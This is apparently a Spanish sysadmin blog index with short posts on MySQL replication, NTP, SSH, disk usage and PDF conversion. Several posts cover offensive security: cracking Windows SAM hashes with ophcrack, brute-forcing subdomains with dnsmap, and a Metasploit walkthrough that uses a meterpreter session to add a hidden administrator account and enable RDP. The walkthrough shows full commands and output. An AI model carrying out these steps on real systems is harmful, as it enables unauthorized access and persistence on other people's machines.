Hace tiempo hablamos de cómo poder montar un MySQL en una arquitectura master-slave y también cómo hacer para poner por un momento un slave en modo sólo lectura. Lo habitual es que el sistema slave esté en modo sólo lectura y evitar así que alguien se conecte a esta máquina y haga cambios no requeridos y que ello corrompa los datos, bien del slave, bien de ambos (master y slave). Aunque al ponerlo en modo read_only no se permite la escritura, un usuario con privilegios de SUPER sí puede realizar cambios. No suele ser lo habitual, pero en caso de que sea necesario, sí es posible realizar dichos cambios sin afectar a la estructura master-slave. Para ello hay únicamente que deshabilitar para la sesión actual la escritura en el binary log. Esto se hace con la variable sql_log_bin.
mysql> set sql_log_bin = 0;
A partir de este momento todo lo que se ejecute no se escribirá en el binary log y por lo tanto el slave no lo verá y afectará a sus cambios.
Para volver a la forma de trabajo habitual, únicamente hay que volver a poner dicha variable a 1 o salir de la sesión, puesto que el valor sólo fue establecido para la sesión.
Leer más

Windows 2008 server, ntp client

NTP es un protocolo de sincronización de relojes en red y por suerte está implementado tanto en sistemas GNU/Linux, como en sistemas Windows, hace ya varias versiones.
Si tenemos un sistema Windows 2008, la forma de hacerlo también es simple, aunque parece que los de Redmond intentan siempre complicar las cosas. Para conseguirlo, simplemente abrimos una consola (cmd) y ejecutamos lo siguiente,
cmd> w32tm /config /update /manualpeerlist:ntp.server.com  /syncfromflags:MANUAL /reliable:YES
cmd> w32tm /query /sour
Leer más

unetbootin, arranca iso desde pendrive

Con la evolución de los equipos, la necesidad de arrancar desde CD es cada vez menor, ya que todos soportan el arranque desde USB, así que el problema únicamente está en crear un PEN que sea capaz de bootear. Para conseguirlo, por suerte en GNU/Linux tenemos unetbootin, un estupendo interfaz gráfico que permite crear un dispositivo USB autoarrancable. Desde equipos debian/ubuntu lo tenemos disponible en los repositorios, así que,
shell> apt-get install unetbootin
Una vez instalado, únicamente lo tenemos que arrancar. Nos pedirá permisos de root, ya que va a necesitar escribir en el dispositivo externo. Una vez tiene los permisos pertinentes, tenemos una pantalla como la que sigue,
En ella podemos seleccionar la distribución que nos interesa de una larga lista que tiene disponible. Para cada distribución tiene una versión. Si seleccionamos dicha opción, será el propio software el que se encargue de descargar la ISO y meterla automáticamente en el CD. Por el contrario, si ya tenemos una ISO descargada, podemos optar por algo más sencillo, pasarle dicha imagen. También necesitaremos a continuación indicarle en qué dispositivo queremos que escriba. Nos interesa escribir en dispositivos USB, así que seleccionamos el USB correspondiente. Debe estar montado y a poder ser, formateado en vfat (fat32). Una vez todo marcado, quedará tal que así.
Finalmente presionamos en Aceptar y comenzará a escribir todo lo necesario en el pendrive para que éste sea bootable. Una vez finalizado ya tenemos un pequeño pendrive disponible para instalar la distro que deseemos, en este caso Debian 6.0 x86_64.

Nota: unetbootin no formatea el pendrive en el que va a escribir los datos antes de hacerlo y por las veces que lo probé, la mejor solución es formatearlo antes de usar. En mi caso vamos a formatear sdf1 en vfat.
shell> mkfs.vfat /dev/sdf1
Leer más

SSH escuchando en 2 puertos diferentes

Hay veces que es necesario poner un servidor ssh a la escucha en dos puertos diferentes. Léase por ejemplo el caso de un servidor ssh en un equipo de DMZ que interesa que tenga el puerto ssh (por defecto el 22) disponible para la red interna, pero que permita en un puerto no habitual la escucha de ssh para la IP pública.
Después de un intento de realizarlo con IPtables,
shell> iptables -t nat -A PREROUTING \
                -i eth0 -p tcp --dport 2222 \
                -j REDIRECT --to-port 22
Con ello logramos que todo lo que llegue al puerto 2222 se vaya al puerto 22 (ssh), teniendo así un 'fake' de ssh en dos puertos. Sin embargo, la solución es más sencilla que esa y está en la simple ejecución de ssh con el parámetro Port del fichero de configuración duplicado, quedando tal que así
# What ports, IPs and protocols we listen for
Port 2222
Port 22
...
Tras un pequeño restart del servicio, ya estará ssh a la escucha en dos puertos.
shell> netstat -punta | grep ssh
tcp   0   0 0.0.0.0:22     0.0.0.0:*   LISTEN   28580/sshd
tcp   0   0 0.0.0.0:2222   0.0.0.0:*   LISTEN   28580/sshd
Leer más

ophcrack, obtener contraseñas de windows

Recientemente hablamos sobre cómo conseguir un listado de la base de datos SAM de Windows, que contiene todas las contraseñas cifradas. Aunque este cifrado es ampliamente conocido, la explotación del mismo puede llevar bastante tiempo, así que hoy os quiero presentar un pequeño software que nos ayudará y mucho a agilizar el proceso de paso de caracteres extraños a contraseña 'entendible'. Se llama ophcrack y es un pequeño programa escrito en C y que tiene a mayores una serie de diccionarios. El modo de funcionamiento es muy similar al de un buscador. Previamente se han construido las contraseñas con su correspondiente encriptación y se han indexado. Ahora sólo hay que buscarlas y ya estará listo. Vamos a ver paso a paso, cómo trabajar con él.
  • Obtener ophcrack
    Este es el primer paso. Para conseguirlo nos vamos a la páguina oficial y lo descargamos. Existe una versión para Windows y otra para GNU/Linux. EN nuestro caso, descargamos la versión para Linux.
    Una vez la tengamos, sólo queda compilar el software. Para ello,
    shell> tar jxvf ophcrack-3.4.0.tar.bz2
    shell> cd ophcrack-3.4.0
    shell> ./configure
    shell> make
    shell> make install
    
  • Obtener las tablas de contraseñas
    Este es el segundo paso y realmente el más importante, ya que aquí en donde reside el potencial de este software. Para obtenerlas, vamos a la URL de descarga y seleccionamos el fichero que más nos convenga. Puesto que lo voy a emplear con un Windows XP, vamos a descargar el XP free fast.
  • Configurar ophcrack
    Ahora que ya tenemos todo preparado, simplemente arrancamos el software y desde el interfaz cargamos las tablas que se han descargado. Las tablas permanecerán en disco y serán cargadas en memoria cuando sea necesario emplearlas.
    El siguiente paso es cargar el fichero (o claves individuales) que se han obtenido (mira cómo hacerlo) y presionar en Crack. En muy poco tiempo tendremos todas las claves que se hayan podido encontrar (depende del diccionario empleado) en texto plano, como en la imagen.
Si ves que tras ejecutarlo casi no se obtiene ninguna contraseña con los diccionarios pequeños libres, eso es bueno ya que no es factible un ataque por diccionario y la contraseña usa símbolos.
Leer más

pdf a imagen e imagen a pdf

Hoy me surgió la necesidad de bajar un .pdf de calidad (es decir, de tamaño) después de sacarlo de un escáner. El fichero original ocupaba ~10Mb y la idea era que terminase ocupando aproximadamente la mitad, unos ~5Mb. para ello se me ocurrió la idea, puesto que era todo imágenes de pasarlo a .jpg, que con este paso perdiesen un poco de calidad y luego volverlos a juntar en .pdf. La verdad, la idea funcionó. para hacerlo, únicamente fue preciso nuestro preciado sistema operativo Gnu/Linux, el paquete imagemagick (disponible en repositorios) y un poco de paciencia para ajustar el resultado a la calidad deseada.
La idea es por lo tanto, partir de un fichero *.pdf, obtener cada una de las páginas (o un rango de ellas) en imágenes *.jpg y luego volver a pasarlas a .pdf, para tener la salida deseada. Primero vamos a pasar de .pdf a .jpg.
shell> convert entrada.pdf salida.jpg
Puesto que estamos trabajando con imágenes, podemos hacer si así lo deseamos que se pierda un poco de calidad, para que el resultado final sea el esperado (en cuanto a tamaño se refiere).
shell> convert -quality 90% entrada.pdf salida.jpg
En parámetro quality indica la comprensión o pérdida de calidad que se va a producir. Cuanto más alto, menos pérdida y cuanto más bajo más pérdida. A más pérdida, menos ocupará el fichero resultando. Tras mis pruebas, bajar más de un 85% en la calidad es peligroso, ya que implica asumir una gran pérdida.
Una vez que ya tenemos todos los ficheros en formato imagen, sólo queda juntarlos todos. Para ello,
shell> convert *.jpg salida_final.pdf
Por defecto, si usas una versión moderna de imagemagick ya aplicará una compresión, pero en caso contrario, se le puede indicar con el parámetro compress.
shell> convert -compress zip *.jpg salida_final.pdf
En caso de que nos interese hacer esto mismo con un rango de páginas del .pdf, lo podemos indicar en el momento de extraer las imágenes,
shell> convert entrada.pdf[5-10] salida.jpg
Leer más

Comprobar estado de las contraseñas en GNU/Linux

GNU/Linux almacena los usuario en /etc/passwd y las contraseñas de los mismos en /etc/shadow. Entre ambos ficheros hay una relación lógica. Por norma general, para cambiar algo referente a las contraseñas hay que emplear el comando passwd, el cual tiene una opción (-S) que permite consultar el estado actual de la contraseña. El único parámentro que hay que pasarle por lo tanto es el nombre de usuario.
shell> passwd -S javier
javier P 08/16/2012 0 30 5 -1
Las opciones que tienen las contraseñas son:
L  -> Contraseña bloqueada
NP -> Sin contraseña
P  -> Contraseña válida
A mayores también ofrece información sobre la fecha del último cambio de contraseña y otra información referente a las contraseñas (mínimo y máximo tiempo de cambio, etc.).
Si queremos ver el estado de las contraseñas de todos los usuarios, como root, podemos ejecutar,
shell> getent passwd | awk 'BEGIN{FS=":"}{print $1}' | \
       while read user; do passwd -S $user; done
Leer más

Obtener un listado de subdominios

En muchas ocasiones es necesario saber qué subdominios tiene una empresa públicos en Internet para garantizar que los que tiene son los que efectivamente debería de tener. Una buena forma de averiguarlo está en el programa dnsmap, que es un pequeño código escrito en C (795 líneas nada más) y que permiten escanear un dominio en busca de todos los subdominios que éste tiene, sacando un informe final. Saber las máquinas que hay disponibles en una red es muy importante, al igual que saber las personas o correos de esa organización. Para comenzar, vamos a ver cómo trabajar con dnsmap. Comenzamos bajándolo de la web oficial. Una vez lo tenemos, simplemente lo descomprimimos y compilamos para poder usarlo.
shell> tar zxvf dnsmap-0.30.tar.gz
shell> cd dnsmap-0.30
shell> gcc -Wall dnsmap.c -o dnsmap
shell> ./dnsmap
dnsmap 0.30 - DNS Network Mapper by pagvac (gnucitizen.org)

usage: dnsmap  [options]
options:
-w 
-r 
-c 
-d 
-i  (useful if you're obtaining false positives)

e.g.:
dnsmap target-domain.foo
dnsmap target-domain.foo -w yourwordlist.txt -r /tmp/domainbf_results.txt
dnsmap target-fomain.foo -r /tmp/ -d 3000
dnsmap target-fomain.foo -r ./domainbf_results.txt
dnsmap trae por defecto un listado de palabras que empleará como subdominios a buscar y que están listadas en el fichero dnsmap.h, sin embargo también permite pasarle como argumento un listado de palabras que serán usadas. Finalmente, nos puede sacar un listado en fichero de texto o por pantalla. La forma de usarlo,
shell> ./dnsmap company.com 
dnsmap 0.30 - DNS Network Mapper by pagvac (gnucitizen.org)

[+] searching (sub)domains for company.com using built-in wordlist
[+] using maximum random delay of 10 millisecond(s) between requests

beta.company.com
IP address #1: 91.X.X.X

downloads.company.com
IP address #1: 91.X.X.X

files.company.com
IP address #1: 92.X.X.X

jabber.company.com
IP address #1: 91.X.X.X

mail.company.com
IP address #1: 165.X.X.X

ns.company.com
IP address #1: 92.X.X.X

public.company.com
IP address #1: 51.X.X.X

rt.company.com
IP address #1: 91.X.X.X

www.company.com
IP address #1: 91.X.X.X

[+] 9 (sub)domains and 9 IP address(es) found
[+] completion time: 89 second(s)
En caso de que las palabras por defecto no den un buen resultado, se puede pasar un listado de palabras (el que trae o un propio) para descubrir todos aquellos subdominios que puedan interesar.
Leer más

Comandos interesantes, agedu

Hoy os quiero presentar un pequeño programa, muy sencillo, pero a la vez muy útil, que presenta de forma gráfica (página web) los resultados de ocupación en disco con colores e indicando antigüedad de los ficheros. Se llama agedu.
agedu simplemente se dedica a escanear el disco en busca de los ficheros o lo que ocupa cada directorio, para finalmente guardar un informe final en un fichero que posteriormente podrá ser procesado y presentado. Para instalarlo, desde debian/ubuntu,
shell> apt-get install agedu
Tras la instalación, probamos a ejecutarlo, para ver las opciones y posibilidades que nos ofrece.
shell> agedu
usage: agedu [options] action [action...]
actions:
  -s,--scan directory      scan and index a directory
  -w,--web                 serve HTML reports in a web server
  -t,--text subdir         print a plain text report on a subdir
  -R,--remove              remove the index file
  -D,--dump                dump the index file on stdout
  -L,--load                load and index a dump file
  -S,--scan-dump dir       scan only, generating a dump
  -H,--html subdir         print an HTML report on a subdirectory
  --cgi                    do the right thing when run from a CGI
options:
  -f,--file filename       [most modes] specify index file
  --cross-fs               [--scan] cross filesystem boundaries
  --no-cross-fs            [--scan] stick to one filesystem
  --prune wildcard         [--scan] prune files matching pattern
  --prune-path wildcard    [--scan] prune pathnames matching pattern
  --exclude wildcard       [--scan] exclude files matching pattern
  --exclude-path wildcard  [--scan] exclude pathnames matching pattern
  --include wildcard       [--scan] include files matching pattern
  --include-path wildcard  [--scan] include pathnames matching pattern
  --progress               [--scan] report progress on stderr
  --no-progress            [--scan] do not report progress
  --tty-progress           [--scan] report progress if stderr is a tty
  --dir-atime              [--scan,--load] keep real atimes on directories
  --no-dir-atime           [--scan,--load] fake atimes on directories
  --mtime                  [--scan] use mtime instead of atime
  --files                  [--web,--html,--text] list individual files
  -r,--age-range age[-age] [--web,--html] set limits of colour coding
  -o,--output filename     [--html] specify output file or directory name
  --address addr[:port]    [--web] specify HTTP server address
  --auth type              [--web] specify HTTP authentication method
  --auth-file filename     [--web] read HTTP Basic user/pass from file
  --auth-fd fd             [--web] read HTTP Basic user/pass from fd
  -d,--depth levels        [--text,--html] recurse to this many levels
  -a,--age age             [--text] include only files older than this
also:
  -h,--help                display this help text
  -V,--version             report version number
  --licence                display (MIT) licence text

Tras un vistazo rápido a las opciones, vemos que lo que nos interesa es realizar un escaneo del disco para que indexe la información que interesa, así que por lo tanto, lo ejecutamos con la opción -s y el directorio del que nos interese sacar información. En nuestro caso /, ya que queremos tener información de todo el disco.
shell> agedu -s /
Al finalizar nos habrá creado un fichero en el directorio donde se haya ejecutado, agedu.dat, que tendrá toda la información sobre el disco. EL fichero que genera es de tipo binario, por lo que es necesario recurrir nuevamente a agedu con la opción de montar un servidor web para poder visualizar los datos.
shell> agedu -w --auth none
URL: http://127.0.0.1:58573/
Al acceder a esa dirección se podrá visualizar y navegar por los directorios, teniendo de forma 100% visual información del estado del disco.

Leer más

metasploit, conexión a escritorio remoto

Hay una cosa que está clara, si Windows ha triunfado es por su escritorio y por la 'facilidad' de manejo que éste ofrece. Casi cualquier cosa la puedes hacer de forma simple con el ratón y viéndolo, mientras que el uso de windows desde línea de comandos es más bien complejo. Permite hacer una gran cantidad de cosas, pero más complejas. Para solucionarlo, Windows permite compartir el escritorio con otros equipos y así facilitar la vida a los administradores (y también, por ende a los atacantes). Hoy vamos a ver una forma muy simple de crear un nuevo usuario y activar para él el acceso a escritorio remoto una vez que tenemos una sesión de meterpreter.
msf exploit(ms08_067_netapi)> sessions -l

Active sessions
===============

Id  Type         Information   Connection
--  ----         -----------   ----------
 1  meterpreter  NT AUTHORITY  192.168.1.33:4444 -> 192.168.1.50:1125
Pues bien, accedemos a la sesión de meterpreter y empleamos comando/exploit getgui que como su nombre apunta, 'da un acceso gráfico'.
msf exploit(ms08_067_netapi)> sessions -i 1
[*] Starting interaction with 1...

meterpreter> run getgui
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u username -p password
Or:    getgui -e

OPTIONS:

  -e       Enable RDP only.
  -f opt   Forward RDP Connection.
  -h       Help menu.
  -p opt   The Password of the user to add.
  -u opt   The Username of the user to add.
Es necesario pasarle los parámetros adecuados, es decir, el nombre y la contraseña del nuevo usuario que vamos a crear con acceso remoto.
meterpreter> run getgui -u shell -p p0wned
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator 
[*] Carlos Perez carlos_perez@darkoperator.com 
[*] Enabling Remote Desktop 
[*]  RDP is disabled; enabling it ... 
[*] Setting Terminal Services service startup mode 
[*]  The Terminal Services service is not set to auto, changing it
[*]  Opening port in local firewall if necessary 
[*] Setting user account for logon 
[*]  Adding User: shell with Password: p0wned 
[*]  Adding User: shell to local group Remote Desktop Users 
[*]  Adding User: shell to local group Administrators 
[*] You can now login with the created user 
[*] For cleanup use command: run multi_console_command -rc ~/clean_up.rc
En caso de que hayamos empleado algún otro método para saber la contraseña de los usuarios ya creados, también podemos emplear este exploit para habilitar el acceso de escritorio remoto y así poder acceder al equipo.
meterpreter> run getgui -e
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*]  RDP is already enabled
[*] Setting Terminal Services service startup mode
[*]  The Terminal Services service is not set to auto, changing it
[*]  Opening port in local firewall if necessary
[*] For cleanup use command: run multi_console_command -rc ~/clean_up.rc
Leer más

Formulario de contacto

Nombre

Correo electrónico *

Mensaje *

Últimos comentarios